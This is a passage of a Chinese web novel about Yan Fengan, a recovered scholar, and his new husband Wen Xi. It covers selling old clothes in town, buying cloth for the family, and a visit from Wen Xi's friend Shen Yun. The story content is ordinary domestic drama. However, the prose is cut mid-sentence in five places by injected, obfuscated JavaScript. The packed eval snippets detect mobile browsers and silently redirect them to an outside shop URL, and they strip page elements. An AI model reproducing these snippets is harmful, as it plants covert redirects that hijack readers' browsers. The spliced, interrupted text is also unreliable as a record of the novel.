那占了他身体的人倒是会享受,衣服大部分是绸缎制成的不说,就连靴子都有好几双。这不要脸的玩意不仅占了他的身体,还借着爹娘的疼爱哥嫂的宽容肆意挥霍家里的银钱,一见这些被他穿过的衣裳鞋子,严逢安就觉得膈应极了。 闻溪过惯了苦日子,最见不得铺张浪费,听到严逢安的话,他着急道:“这些鞋子成色还这么好,怎么能不要?” 严逢安道:“你想哪去了,我说的不要并不是说把这些东西扔了。” 见闻溪仍一脸急色,他耐心解释着:“我记得镇上有那种专门收购旧衣旧鞋的铺子,我打算把这些衣裳鞋子都拿去卖了。” 原是这个意思,闻溪问他:“那你……等会儿要不要跟我和娘一起去镇上?” 严逢安点头,将柜子里不穿的衣裳都拿了出来:“你先帮我收拾着,我去跟娘说一声。” 典卖衣裳在乡下倒也算不得什么稀罕事,穷苦一些的人家,开了春还会将冬日穿的棉衣拿去典当行典卖,等天气凉了再去赎回来。 当然严家这样的家庭肯定是不需要的,家里的日子虽不如从前,可也没有困难到如此地步,陈兰芳不解:“好端端的,怎么想着典卖衣裳了?” 严逢安早就准备好了说辞:“这些衣服华而不实,不适合咱们这样的人家,以后我都不想再穿了。” “你能这样想那就最好不过。”见他真有痛改前非的意思,陈兰芳自然支持他的做法。“衣裳是你自己拿去卖,还是我帮忙?” “我自己去吧。”在家闷了许久,严逢安也早想去外面瞧瞧了。 如今他的身体除了还有些虚弱外,已没有什么大碍,去趟镇上也不妨事,不过还是不能累着。陈兰芳道:“你爹带着你大哥二哥他们去隔壁村干活了,家里牛车没人套,你若是要去,咱们就去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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尤其是严逢安视线不经意和他对上后,那哥儿还绾了绾了自己面前的秀发,对着他眨了眨眼。 严逢安闭上眼,往闻溪身上靠了靠。 瞅他双眉紧蹙,一脸烦闷,闻溪只当他身子不适,虽不习惯他的靠近,却还是用力的支起自己的胳膊,让身材高挑的他靠得更舒服些。 坐车确实比走路快,一路上牛车晃晃悠悠,走走停停,到镇上时也不到半个时辰。 尘土飞扬,牛车渐渐驶远,陈兰芳捂着鼻子呸道:“什么玩意。” 闻溪不知婆婆好端端的怎么生了气,还以为她是嫌每人两个铜板的车钱太贵,正惶惶着,陈兰芳又笑眯眯地拉着他的手说:“走,咱们去那边瞧瞧。” 陈兰芳来镇上赶集的次数多,加之她有个秀才儿子,坊市上很多摊主都跟她相识。笑语盈盈打了招呼,四处看了看后,她便装作不经意的带着小两口去了估衣铺。 11. 你有我有全家有 赶集日人流量大,若是自己摆摊定价,他们手里的衣服应该能卖出高价。 可严逢安毕竟是个秀才,严家也算有头有脸,若是被村里人看见他们在街头摆摊卖旧衣,还不知要被人在背后怎么议论笑话。 陈兰芳这个人素来爱面,宁愿少卖些银钱,也不想抛头露面干这样的事。 这会儿估衣铺里没什么人,三人进了门后,店里的掌柜热情道:“三位客官,想做点什么买卖?” 陈兰芳将衣裳鞋子拿出来,问他:“掌柜的,你帮我看看这些衣裳能值多少钱?” 那掌柜的拿起衣裳鞋子仔细看了看,目光时不时的又往他们仨身上瞧一眼:“容我多嘴问一句,这些东西你们是打哪来的?” 乡下人跟富贵人家的穿着打扮有明显的区别,那高个的男子虽是书生打扮,身上布料用的也是低等粗布,绸缎料子的衣裳看起来就不像他们会穿的。 陈兰芳不高兴道:“什么打哪来的,当然是我们自己买的。都是我儿子穿过的,你自己瞅瞅,这衣裳是不是根据他的身量做的?” “大嫂莫生气,我只是例行问一句罢了,我们估衣铺有估衣铺的规矩,那些个来路不明的东西我们可不敢收。既是这位郎君穿过的,那我就放心了。” 话虽这样说着,掌柜的还是拿着衣裳在严逢安身上比了比。 衣裳料子不错,鞋子成色也新,不过这镇上就他一家估衣铺,掌柜的自然要狠心压一压价。 “这样吧,五两银子,你这些衣裳鞋子我全都收了。” 闻溪没见过什么世面,身上也没半个银钱,五两在他心中算得是上是一笔非常庞大的数目,若是能卖上这个价,他倒觉得不错。 “什么?五两!”陈兰芳嘴角向下一撇道:“我说掌柜的,你莫不是当我不识货?你瞅瞅这布料,这成色,再看看上面图样的针脚,也不知道你这五两是怎么说出口的。” 掌柜的面露难色:“这个数可不低了,你这衣裳料子是不错,可这位郎君身量太高,我就算收了也不是那么容易能寻到买主的。还有这鞋子,他的脚码也比常人大一些,更不好卖了。” 闻溪默默点头,严逢安身形偏瘦,个头却不低,掌柜的收了他的成衣只能卖给和他身形相仿的人。 “长得高还成了我儿子的错不成,我听外头的人说你做生意实在,才把这些衣裳拿到你这来卖,结果你倒好,逮着我们这些老实人欺负。” “哎哟,瞧您这话说的,这样吧,我再给您添一两,六两行吗?” 陈兰芳伸手比了比:“少说也得八两。” “天呐,八两!”掌柜惊呼道,“大嫂您这可就是狮子大开口了,我这也是小买卖,就赚个养家糊口的钱,这些东西换我都不一定能卖八两呢。” 见他一脸为难,言辞恳切,闻溪觉得这个数应该差不多了,他担心陈兰芳继续讲下去,这掌柜的当真就不收了。 一直没开口的严逢安语气温和道:“娘,咱们就不要为难这位掌柜了。我听同窗说过,城里落星桥那边的街道处有家估衣铺,他们收购旧衣给的价格十分公道,改明儿我去县里办事的时候顺带问问,想来应是能卖出您要的价格。溪哥儿去将衣裳收好,今天咱不卖了。” 严逢安都这样说了,想来这个价格是真的低了些,亏他还觉得这个掌柜的实在。闻溪心头不再可惜,默默瞅了掌柜的一眼,手脚麻利的将衣裳重新装回包袱里。 见他们是真的要走,掌柜的连忙叫道:“诶,别走别走,再商量商量嘛,你们说八两那就八两吧。” 严逢安继续推拒,等老板咬牙再给他涨了一百文后,他才答应将这些衣裳卖了。 直到出了估衣铺,闻溪脑子都还晕乎乎的。他没跟人做过买卖,在他的认知里,旧衣旧鞋若是不卖出去那也只有扔掉的份,换做他来,肯定在老板出五两银子的时候就卖了。 走在他身旁的严逢安背着双手,脸上一副闲散自得的模样,闻溪终于没忍住心头的疑虑开口问:“你怎么知道那掌柜的一定会收下这些东西?” 严逢安道:“我那些衣裳成色不错,他当然会要。” “可是掌柜的说你那些东西不好转卖。” “骗人的话你也信。”严逢安侧身礼让了差点撞上他的行人,漫不经心跟闻溪解释着:“绸缎罗纱类的衣裳不缺买主,大户人家的仆人,家境贫寒的书生,这些人偶尔也需两件撑场面的衣裳,新的太贵,这种成色好价格又不高的旧衣就成了他们的首选,只要自己不说,谁知道他们穿的是别人的旧衣裳。” 倒是闻溪以己度人了,在他心中这些衣裳华而不实,穿在身上很不方便,却忘了这世上还有些不用干农活的人。 陈兰芳听了二人的对话,对闻溪说:“你就是太老实了,不知那些生意人的奸猾,这买卖里的门道可多着呢。” 闻溪只上过一两次街,每次都是来也匆匆,去也匆匆,别说是做买卖了,就连这镇上的全貌他都是不知的。 见他神色挫败,严逢安道:“无妨,溪哥儿是个聪明人,以后让他跟着您多上几回街他就明白了。” 陈兰芳嗔笑道:“我又没说什么,你倒先护上了。” 严逢安笑着摸了摸自己的鼻尖:“好不容易娶回来的夫郎,当然得好好护着。就像我爹,他不也挺护着您的吗?” “臭小子,你还打趣起我跟你爹来了。”陈兰芳装作要拧他,严逢安作势往闻溪身后躲了躲。 就在挡在两人中间的闻溪有些手足无措时,母子俩又很突然的停了下来。 陈兰芳敛了敛神色:“大街上的,不闹了,去布匹店看看吧。” 倒不是她突然甩脸子,只是刚才的某个瞬间,她忽然想起严逢安已经好几年没在她跟前这般调皮撒丫了。 除了要钱的时候,平时都跟她生疏得很,这会儿倒有了几分儿时的模样来,难免会让她心头生出几分恍惚。 严逢安也感到一丝别扭,有些事情他虽刻意不去多想,心头到底是有几分隔阂的。 闻溪的心情就更复杂了,他既不知严逢安母子俩因何变了神色,又为着严逢安对他的态度有些心绪不宁。 严逢安说他是聪明人,闻溪却认为自己很笨,跟严逢安在同一屋檐下待了这么多天,他却仍猜不透他心中所想。 他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536436|203835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢相信也难以琢磨,这人真的会摒弃过往,跟他好好过日子吗? 眼看着冬日就要来临,闻溪的衣裳还没着落,进了布匹店,陈兰芳就先让掌柜的拿了匹麻布。 麻布色彩单调,质地粗糙,胜在便宜实用,正是农户人的首选。 一匹布大约可做两件衣裳,这样闻溪也能有个换洗的。 麻布做的衣裳是平日干活所穿,闻溪一个秀才夫郎,好歹也得跟他做身稍微体面一些的拿去充当门面,儿子才卖了旧衣,也需再置办两身。 陈兰芳思虑周到,买完麻布,又让掌柜的拿出几匹粗布给他们挑选。 闻溪看得眼花缭乱,陈兰芳问他意见时,哪匹他都觉得好,陈兰芳只好让严逢安来选。。 镇上布匹店料子颜色并不多,最后严逢安在一片暗沉中挑了青、黄两色的布匹。 陈兰芳拿着选好的布匹往两人身上比了比,笑道:“这颜色衬你们,衣服做好穿出去人家一瞧就知道你俩是一对。” 闻溪不知怎样接话,侧目看了严逢安一眼。 严逢安对这些打趣不怎么在意,得知每匹布价格在四百文左右,他心中悄悄算了算,对陈兰芳道:“今年您和爹还有哥嫂他们都没做新衣,不然咱们再多买几匹布料给他们也做一身吧。” “不用,我们都有穿的。”陈兰芳还是农户人的思想,总觉得钱应该花在刀刃上,要是给家里人都做一身新衣,不知得花多少钱呢。 严逢安哄着她:“这几年我一心读书,不懂人情世故,稼穑之事也不常关心,你跟爹全靠哥嫂孝敬,家里也由着他们操持,若是只叫我跟溪哥儿穿新衣,您说我这心里如何能过意得去?家里这么多人,一碗水若是端不平,怕是迟早要生出祸事来。” 陈兰芳心头动容,眼中有泪花浮起:“你以前从不会顾虑这些。” “您都说了那是以前。”严逢安不想过多提及,将刚才卖旧衣的钱拿出一些,“掌柜的,把那几匹布也给我包起来。” “好嘞,客官您稍等。”难得一大早就开这么大笔单子,布匹店掌柜脸都笑开了。 陈兰芳抹了泪,转而对掌柜的说:“我们在你这买了这么多布,怎么说你也得给我们算便宜一些吧?” 布匹老板连连点头:“好说好说,这样吧,我再送您半匹麻布,您买的这些东西等会我也找人免费给您送回去。” 这样就最好不过,大头都花出去了,陈兰芳也不抠那些小钱,又去别处买了些东西,等布匹店的老板装好车后,三人便跟着一道回去。 那掌柜的人也妥帖,知道这么多布会引起别人眼红,特意用一张不起眼的料子盖着。 陈兰芳让赶车的老汉把他们送到家门口,一点风都没给别人透。 何锦他们出来搬东西的时候眼睛都瞪直了,虽说闻溪是没什么衣服穿,可也不至于买这么多布回来吧?这得花多少钱啊? 正奇怪着,就听陈兰芳道:“你三弟说咱们家的人今年都没做新衣,这回干脆就由他出钱一起做了。” 一听这话,何锦跟李婉都觉得不可思议。 他们家三弟什么时候这样大方懂事了? 12. 赚了银钱要上交 要知道这人往常可是什么好东西都要紧着自己用,偶尔从书院休沐回来也不想着体贴家里人的难处,想方设法都要从哥嫂手里抠出点钱出来,今儿个居然主动给家里买了布匹,真是新鲜。 心头虽然有些疑惑,但也没人会这么不识趣的表现出来。 李婉抱着布匹,眼睛弯弯道:“这回可真让三弟破费了。” 严逢安淡淡笑了笑:“小小心意,望两个嫂嫂不要嫌弃。” 何锦爽朗道:“白得一匹布,我们高兴都来不及呢,谁还会嫌弃。对了小溪,刚才沈家那小哥儿过来找你,我说你去镇上了,让他下午或者明天再来。” “噢,好的。” 严逢安好奇道:“沈家哥儿是谁,你朋友吗?” 大部分时间他都在城里书院上学,除了年纪大点的长辈,那些个比他岁数小的哥儿他都不太认识。 闻溪想了想自己和沈云的来往,回答他:“是朋友。” 之前他在家里存的十文钱,就是沈云偷偷帮他卖山货攒的。 严逢安道:“有个朋友也好,以后没事你可以去找他一起玩。” 一起玩对闻溪来说是件很陌生的事,他跟沈云虽然有些交情,两个人却从来没正经的玩过几回。鲜有的几次接触都是在山里摘野果,挖野菜的时候,只有那时闻溪才能远离家人的视线跟他说上几句话。 也不知道这次沈云过来找他是有什么事。 趁着闻溪他们收拾布匹的时候,严逢安跟着陈兰芳回了房把卖旧衣剩的钱交给了她。 “这些钱您拿着补贴家用。” 三个儿子没分家,家里银钱都是陈兰芳在管,如此这般,她也没推辞:“那娘就收下了。” 想了想,她又从碎银里拨出一些来:“这些你自己留着。” 严逢安迟疑一下:“哥嫂那边……” 见他时时考虑着哥嫂,陈兰芳心头慰藉,道:“每次你爹他们出去干活挣了银钱回来,我都会从中拨出一些交给锦哥儿和婉娘,都是我的孩子,娘不会亏着你们任何一个。” 若非如此,就凭严逢安往日花钱的阵仗,两个媳妇儿就算是圣人也得跟她干架了。 听她这样一说严逢安便也留下了一点碎银,回房时见闻溪换上了之前那双旧鞋,上头的破洞虽用布片补上了,瞧着却还是碍眼。 “都有新鞋了,还要它做甚?” 闻溪脸颊微红,小声道:“习惯穿它了。” 其实是头一回拥有属于自己的鞋子,他心头珍视,舍不得糟践,想着旧的这双还能再穿穿便换下了。 严逢安嫌弃道:“这鞋子又破又旧,一点都不衬你,还是穿新的吧。” 闻溪很少会忤逆他,见他不喜欢这双鞋子,便听话的换了下来。 严逢安将背在身后的手伸到闻溪面前,献宝似的:“看,咱俩的银子。” 闻溪视线随着他的动作落在他的掌心,细细扫了一眼上头的碎银。 “卖旧衣的钱省去买布匹用的还剩五两,多的部分我给了娘,这些咱们自己留着,万一以后你想买个什么,也不用伸手向她要钱。” 见闻溪愣着不说话,严逢安又把碎银往他跟前递了递:“快拿着啊。” 闻溪嘴唇张合一阵,才道:“为什么要把钱给我?” “问这个问题之前,你得先去问我爹为什么要把钱交给我娘,问我大哥为什么要把钱交给大嫂,问二哥为什么要把钱交给锦哥,咱们家就这个传统,你知道吧。” 严逢安叽哩哇啦说了一大串话,有些绕口,但闻溪还是听明白了。 犹豫着从严逢安手中接过,他道:“我把钱放在你书桌的抽屉里,想用的话你自己拿。” 公公婆婆给的红封他也放在里头,在严家有吃有穿,生病了婆婆也会给他请大夫,闻溪认为自己没什么要用钱的地方,而且他也不敢擅自乱用。 农村人把钱财看得很紧,就像他的爹娘,家里表面上是娘做主,实际所有的银钱都在他爹手上捏着,家里人哪怕花一个铜板都要经过他的同意。 有时李巧珍稍微花得多一些,闻石山也会给她甩脸色。 严逢安主动把钱交给他保管,闻溪还是高兴的,只是他心头的不安跟隔阂实在太重,重到一时半会儿,都不能摆正自己的位置。 —— 家里这么多人,做新衣是件大工程,好在陈兰芳她们都是熟手,真做起来倒也没那么头疼。 闻溪带过来的衣裳又少又不合身,几个人一致决定先给他做。 量尺寸的时候闻溪僵硬着身体一动不动,何锦笑道:“又不是上刑,你干什么这么紧张。” 闻溪不好意思的笑了笑,见何锦量好后动作熟练的在布匹上画出轮廓,他既羡慕又佩服道:“你真厉害。” “这有什么厉害的,熟能生巧罢了。你别看我现在这么爽利,其实我做衣服的手艺一般,跟娘和大嫂比起来真是差远了。” 陈兰芳听了笑着说:“你做衣裳的手艺比起我们是要差一些,可你绣的纹样咱家里没人能比得上。” 李婉也自叹不如:“锦哥儿他娘可是几个村闻名的绣娘,他从小耳濡目染,我哪敢跟他比。” 何锦面上带笑一句谦辞没说,想来技术真不一般。 姑娘哥儿没出嫁的时候,做衣裳还有刺绣这些,家里的娘都会教一教,至于能学到几分,那就要看天分了。 闻溪没那么幸运,他在闻家只有干不完的活,李巧珍什么手艺都没教过他。 陈兰芳知他在闻家过的什么日子,也没故意问他会不会,只道:“咱们家这回买的布多,小溪你可得跟婉娘她们好好学学。” 闻溪点了点头,若是两个嫂嫂愿意教,他一定会认真学的。 下午些时候,沈云又来了严家。 他跟闻溪一样是个腼腆单纯没什么心机的哥儿,陈兰芳招呼他进屋坐,他也只是摇了摇头,害羞的在院门处站了一会儿。 见着朋友闻溪也很开心,得了陈兰芳的同意后,他便端着两个小矮凳跟着沈云一起坐在了院子外的桂树下。 “你跟赵家的事我都听说了,怎么样,你的伤好些了吗?”沈云边说着,边在闻溪脸上瞧了瞧。 闻溪转了一下头,把自己被打的半边脸露给他看了看:“家里给我涂了药膏,没事了。” 瞧着没留下什么印记,沈云放下心道:“我早想过来看看你,只是这几天家里有事把我拖住了。” 闻溪嫁到严家这么多天,沈云一直没来找过他,除了家里有事外,更多的还是担心自己突然上门会惹得严家人不高兴让闻溪处境更艰难,听周围邻居说了严家给闻溪出头的事,他才有了上门的由头。 闻溪摇摇头表示自己并不在意。 沈云朝着院子里努了努嘴:“严家人对你还好吗?外头人都说严秀才身子好了,他对你如何?有没有欺负你?” “挺好的,没有欺负。”闻溪照实回答,严家人对他很好很好,他现在的日子过得非常自由舒适。 至于严逢安,这人对他态度还算温柔,虽然偶尔会逗弄几句,却不似以前那般打压侮辱。甚至在家里人打趣时还会给他解围,把银钱也交给他保管,看起来像是要认真跟他过日子的意思。 “那就好。”其实沈云还有些话想问,又怕触及到闻溪心头的伤口不敢多言,所以他不得不故作轻松道:“若是他再敢欺负你,你跟我说,我一定帮你……” 听他卡了壳,闻溪好奇地看了他一眼,沈云抱着他的胳膊悄声道:“我一定帮你偷偷骂他。” 闻溪抿唇露出一抹笑容,沈云见他面相不似从前清苦,想来跟严秀才的关系还是不错的,想着这几日家中发生的事情,沈云道:“其实我这回过来,还有件事想跟你说。” “什么?”闻溪目光静静落在他身上,轻声询问着。 沈云红着脸颊,说话声断断续续的:“村里刘婶给我说了一门亲……男方是隔壁丰坪村的人……昨日他们来了我家,我偷摸瞅了两眼……那人模样学识虽不如严秀才,但身子骨比他结实,瞧着就很有劲,我哥说我要是喜欢,他就做主把这事定下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536437|203835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。” 沈云爹爹去世得早,家里只有个生病的寡母还有个走街串巷卖东西的货郎兄长,家里的事都是他哥哥在做主。 “那你喜欢吗?” 沈云眼神浮现出一丝迷茫:“我也不知道,但我觉得跟他在一块,应该饿不着,你觉得我该答应吗?” 农户人家的哥儿要求不高,只要嫁的男人脾气好,人勤快,也就没什么好挑的了,喜不喜欢并不重要。 闻溪认真想了想:“你哥哥对你很疼爱,若是不满意,你可以再挑挑。” 他们当哥儿的,嫁了就算是把自己的身家性命都交到人家手上,稍有不慎,这辈子就全完了。 沈云的哥哥不会拿他卖钱,闻溪觉得他可以多看看选个自己喜欢的。 “好吧,那我再挑挑。”私心里沈云还不是那么想嫁人,听到闻溪这么说,他便暂时打消了这个念头,从兜里摸出一把西瓜子,道:“不说这事了,嗑瓜子,这可是我哥哥从府城给我带回来的,可香了,我专门带过来给你尝尝。” 少年人的烦恼来得快去得也快,沈云跟闻溪胳膊挨着胳膊,两人像小动物似的贴在一块,悠闲地嗑起了瓜子。 枝头鸟儿啾啾鸣叫,开败的桂树还留有淡淡的残香,凉风吹拂着闻溪的脸庞撩动着他的发丝,让他从身到心都感受到了一股从来没有过的惬意。 以后他跟沈云一起玩时,再也不用担心爹娘忽然从哪里冒出来,说他干活偷懒给他一顿打了。 院子里,陈兰芳正带着两个媳妇裁布,压着声问:“他来咱们家有些日子了,你们觉得如何?” “您要是问我,那我肯定说他好,前几日若不是他护着铁柱,我那崽子还不知道要遭多大的罪呢。”李婉心头一直记着这事,对闻溪自然很有好感。 何锦说话更直接:“看着胆子小,但有事他真会上,上次去赵家我还怕他拖咱后腿呢,没想到也是个厉害的。平日里跟我和大嫂说话也是客客气气的,不像那闻柳装腔拿调爱挑事,我觉着还成。” 陈兰芳笑着点了点头,跟两个媳妇说着掏心窝的话:“不怕跟你们说,其实之前我还挺不喜欢他那畏畏缩缩的性子,总觉得他跟咱们家不是一路人。可那天看我被刘金花打了,他腿都还在抖呢,也不忘上前薅那老婆子的头发给我帮忙,当时我这心里就软了,就觉得这孩子该是咱们家的人。” 她这样说李婉也想起了那天的场景,道:“我也觉得他跟咱们家挺投缘的,你看他来了之后,三弟病好了不说,脾气也越发和善了。” 三郎以前挺好一孩子,可自从考上秀才后就变得有些目中无人, 嫁过来之前,李婉就知道自家男人要供弟弟读书,若是严逢安能考上,不仅光耀门楣,连带他们也能跟着一起沾光,好吃好喝供着严逢安上学她跟何锦倒也没那么多意见。唯一不爽的就是严逢安对家里人的态度,这人一点不知感恩,总以为这一家子以后都要靠他,所以对他多好都是应该的。 她跟何锦嘴上没说什么,多少还是有心寒心的。 那闻柳也不是个省油的灯,娶了他进来,这家少不得要鸡飞狗跳,李婉跟何锦还偷偷商量过,等严逢安和闻柳成亲后,他们便指使自己的相公分家,坚决不跟他俩在一个家里过日子。 现在嫁进来的人从闻柳变成了闻溪,三弟遭此一劫也懂了事,两人便也歇了分家的心思。 正经人家的孩子,谁不想好好过日子,公婆慈祥,丈夫疼爱,不到万不得已,谁愿意把这个家拆了去。 这话正说到了陈兰芳心坎上,严逢安的变化家里人都看在眼里,虽把功劳都算在闻溪身上有些牵强,可万事都讲究一个缘分,闻溪来了,儿子的病好了,家里的气氛更融洽了,这便就证明了他跟严家有缘。 “他年纪小,性子弱,以后你们两个在外也多护着他些。” 何锦道:“放心吧娘,都嫁到咱们家了,难不成还能叫他被人欺负了去?” 难得两个媳妇都对闻溪满意,陈兰芳十分高兴,心道他们这一家子总算能和和美美的过下去了。 13. 锦哥儿遇柳哥儿 闻溪捉的鲫鱼在盆里养了四天后翻了肚,在陈兰芳琢磨着怎么吃的时候,他鼓起勇气说:“娘,我想喝鲫鱼豆腐汤。” 豆腐不似别的菜,要吃还得去村里豆腐匠家里买,一块豆腐高达六文钱的价格,说出这句话时闻溪心中有些忐忑。 “你想喝鲫鱼豆腐汤?可以啊。”陈兰芳根本不觉得这是什么大事,冲着外头喊了喊:“小锦你去豆腐匠家里买几块豆腐回来,咱们炖鲫鱼汤喝。” 何锦应道:“好嘞,我这就去。” 陈兰芳回屋拿了些铜板递给他:“家里人多,你记得多买几块,炖汤用不完还可以拌着吃,炒着吃,最好还能给你张婶讲讲价……” 见何锦一直笑着看她,陈兰芳轻拍一下自己的额头:“这几天溪哥儿一直搁我跟前晃悠,见谁我都忍不住多唠叨几句,你这滑头哪用我叮嘱,赶紧去吧。” 何锦故意嚷嚷:“怎地溪哥儿需要叮嘱我就不要,娘您真是偏心。” 陈兰芳摇头吁气:“小溪你瞧瞧你这锦哥哥,说话这般刁,也不怕闪了舌头。” 闻溪听出这是在互相打趣,轻轻笑了笑说:“娘不偏心,锦哥哥也好。” 何锦逗他:“光是我和娘好,大嫂就不好了?” 闻溪赶紧补充道:“大嫂也好,家里人都很好。” 他这傻乎乎的样子,有时候看起来真是有些别致的可爱。何锦被他逗乐,高高兴兴去张婶家里买豆腐了。 村里豆腐匠只有张婶一个,每日张婶家的男人挑着担子,不是去附近的几个村就是去镇上卖豆腐,虽辛苦,一日下来倒是能挣不少钱。 何锦去的时候,有好几个村邻也来买豆腐,其中一个还是他们家的老熟人闻柳。 一大早就碰见这么个人,何锦心说真晦气,面上却没露出什么厌恶的情绪来。 张婶跟陈兰芳的关系还不错,见他过来热情道:“小锦今儿个也来买豆腐呢?” 何锦神色如常,脸带笑意道:“我那三弟夫郎早晨起来说想喝鲫鱼豆腐汤,这不我婆婆就支使我来买豆腐了。” 是抱怨还是炫耀大家都能听出来,瞧他笑意盈盈,几个买豆腐的老太太道:“你们家对这新夫郎可真没话说。” “是了,前几日去赵家给他出头不说,今日还巴巴的拿钱给他买豆腐,这小夫郎真是好命。” “不止咧,我那天还见兰芳带着儿子和新夫郎去镇上,说是要给他扯匹布做衣裳呢,面面俱到,说是亲娘都不为过。” 何锦让张婶给他装了几块豆腐,听着这些人的话,他笑了笑道:“也是老天保佑让我们家娶到了这么个有福气的夫郎,自打他嫁进来,我三弟的病好了不说,公公也接了不少活,这么个小福星,你说我婆婆能对他不好吗?” “这样看这孩子倒真是个有福的,难怪你公婆喜欢。” “小溪人勤快又有礼貌,平日嫂嫂长,哥哥短,别说是我公婆了,就连我跟大嫂都喜欢他。”当着这么多人的面,何锦当然要痛痛快快的夸赞闻溪一番,好让大家都知道他们家对替嫁的事不仅没有丝毫不满,对闻溪也很是喜欢。 有人看了闻柳一眼,掩唇笑嘻嘻道:“光是你们喜欢有什么用,这可是你三弟的夫郎,得他喜欢才行啊。” 何锦正愁话题引不到严逢安身上,这人就给他递了个话头:“那么乖个人,我三弟怎么可能不喜欢。小溪嫁过来这段时间,每日都任劳任怨细心照顾着他,这般重情重义,我三弟心头如何不感激。你们是不知他在家里有多护着他那个新夫郎,哎哟,这新婚夫妻就是不一样,蜜里调油的,真是羡慕死个人。” 村里人照顾生意,每块豆腐张婶都自觉给他们少了一文钱,何锦爽快的付了钱,又说:“这些话你们可别到处传,小两口面皮薄,若是知道我在外头打趣他们,不知得多难为情呢。走了啊,下回见面再跟你们聊。” 在场的哪个不是大嘴巴,不往外传才怪呢,不过这样最好,就得让村里人都知道他们家现在很和谐。 从始至终何锦都拿闻柳当透明人,没正眼瞧过他。 闻柳也不傻,知道何锦是在故意冷落他,那些话也是专门说给他听的。 走到哪都被男人捧着的他此刻心里确实很不舒坦,可他知道周围人都在暗戳戳瞟他,想看他笑话,这种时刻他绝不会露出怯来。 这份淡定维持了一路,直到回了家,他心里的火才终于释放出来。 瞧他气哼哼地把豆腐扔在案板上,李巧珍骂了声:“作死啊你,豆腐软成这样,能这么扔吗?” 果不其然,掀开布一瞧,嫩生生的豆腐已经摔成好几块。 李巧珍拧着眉道:“火气这么大,谁惹你了?” 闻柳抹着泪,委屈道:“除了闻溪还能是谁。” “怎么,他也去买豆腐了?” “是他倒好了。” 闻溪那鹌鹑似的性子,哪敢当着那么多人的面对他阴阳怪气,就连严逢安大嫂说话都要好一些,只有那个何锦,嘴巴又厉害又讨厌。 之前他跟严逢安来往的时候,何锦就看他不太痛快,订婚后在路上碰到对他也没什么好脸色。闻柳还想着等自己嫁到严家后看能不能给严逢安吹吹枕边风,挑拨一下他和老二的关系,分家也好,撺掇严二郎把何锦休了也罢,反正他是不想跟这么个人住在一起的。 可他哪里知道严逢安会这么不争气,只不过去山上打只大雁就摔成了那副鬼样子。 傻一辈子就罢了,偏偏闻溪嫁过去后,他这脑子就好了,这不是故意跟他作对吗? 闻柳心头埋怨,不痛快道:“早知严逢安这么快就好,当初我就该自己嫁过去。” “咱们又不是神仙,哪能判断他什么时候好起来,我要是知道,也不会把闻溪嫁过去,这么好的人家,真是便宜那小贱蹄子了。”李巧珍心头也不舒坦,严逢安好不好的倒不打紧,她就是见不得闻溪能过上好日子。 这话说得闻柳心头更是后悔,当初他为了接近严逢安可是费了好大的劲,好不容易把这人哄到手,让他喜欢上自己,最后却给闻溪做了嫁衣。 这闻溪长得没自己漂亮,性子也懦弱,严逢安素来最讨厌他,这么短的时日,怎么会这么快就喜欢上他? 越想闻柳越觉得不对,想来何锦这话里一定有夸大其词的部分,就算是真的,估计也是严逢安为了气他故意为之。 这人学识再高,也不过是一介凡夫俗子,被他毁了婚,心头怎可能毫无波澜。 没吃到嘴的东西总是会让人惦记的,严逢安在他身上半点便宜没占到,闻柳不信他会这么轻易就将自己放下。 想到这,闻柳心头又起了别的主意。 —— 家里人对闻柳都没什么好印象,为了不影响大家的心情,何锦也就没跟他们说两人偶遇的事。 白日严木匠带着两个儿子在隔壁村做活儿,得晚上才回来。 在严家好东西都要一家人一起吃,豆腐买回来,陈兰芳抹了盐后就放到一边等着晚饭时在做。 卧房里,严逢安正打算研墨写点东西,闻溪看着桌上的笔墨纸砚,眼里露出了些自己都没发现的向往。 在他们这个朝代,女子哥儿虽不能参加科考,读书却没什么限制,只要家里有钱,谁都可以去学堂。 家里其他的大人就不必说了,就连铁柱也在村里私塾上学,只有闻溪跟那三岁的的桃儿大字不识。 严逢安敏锐的察觉出了他的情绪,伸手将他招过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536438|203835||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一边研墨,一边问他:“可会写自己的名字?” 闻溪看了他一眼,就在严逢安觉得自己这个问题有些多余时,闻溪慢慢点头:“会。” 